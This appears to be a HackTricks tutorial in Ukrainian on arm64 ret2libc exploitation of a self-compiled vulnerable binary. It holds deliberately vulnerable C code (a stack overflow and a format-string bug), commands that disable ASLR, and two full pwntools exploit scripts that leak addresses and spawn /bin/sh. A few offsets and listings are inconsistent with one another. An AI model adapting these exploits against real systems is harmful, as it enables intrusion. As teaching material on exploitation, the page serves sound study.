Ret2lib + Printf leak - arm64

Підтримайте HackTricks

Ret2lib - обходження NX з ROP (без ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Скомпілювати без канарки:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Знайти зсув

Зсув x30

Створюючи шаблон з pattern create 200, використовуючи його та перевіряючи зсув за допомогою pattern search $x30, ми можемо побачити, що зсув становить 108 (0x6c).

Дивлячись на дизасембльовану основну функцію, ми можемо побачити, що ми хочемо перейти до інструкції, щоб перейти до printf безпосередньо, зсув якої від місця, де завантажується бінарник, становить 0x860:

Знайти системну функцію та рядок /bin/sh

Оскільки ASLR вимкнено, адреси завжди будуть однаковими:

Знайти гаджети

Нам потрібно мати в x0 адресу до рядка /bin/sh та викликати system.

Використовуючи rooper, був знайдений цікавий гаджет:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Цей гаджет завантажить x0 з $sp + 0x18 і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо контролювати перший аргумент і потім стрибнути до system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - обхід NX, ASL та PIE з витоками printf зі стеку

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Скомпілювати без канарки:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE та ASLR, але без канарки

  • Раунд 1:

  • Витік PIE зі стеку

  • Зловживання bof, щоб повернутися до main

  • Раунд 2:

  • Витік libc зі стеку

  • ROP: ret2system

Витоки Printf

Встановлюючи точку зупинки перед викликом printf, можна побачити, що в стеку є адреси для повернення до бінарного файлу, а також адреси libc:

Спробувавши різні зсуви, %21$p може витікати адресу бінарного файлу (обхід PIE), а %25$p може витікати адресу libc:

Віднімаючи витікну адресу libc від базової адреси libc, можна побачити, що зсув витікненої адреси від бази становить 0x49c40.

Зсув x30

Дивіться попередній приклад, оскільки bof той же.

Знайти гаджети

Як у попередньому прикладі, нам потрібно мати в x0 адресу рядка /bin/sh і викликати system.

Використовуючи rooper, було знайдено ще один цікавий гаджет:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Цей гаджет завантажить x0 з $sp + 0x78 і потім завантажить адреси x29 та x30 з sp і стрибне до x30. Отже, з цим гаджетом ми можемо контролювати перший аргумент і потім стрибнути до system.

Exploit

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Підтримати HackTricks

Last updated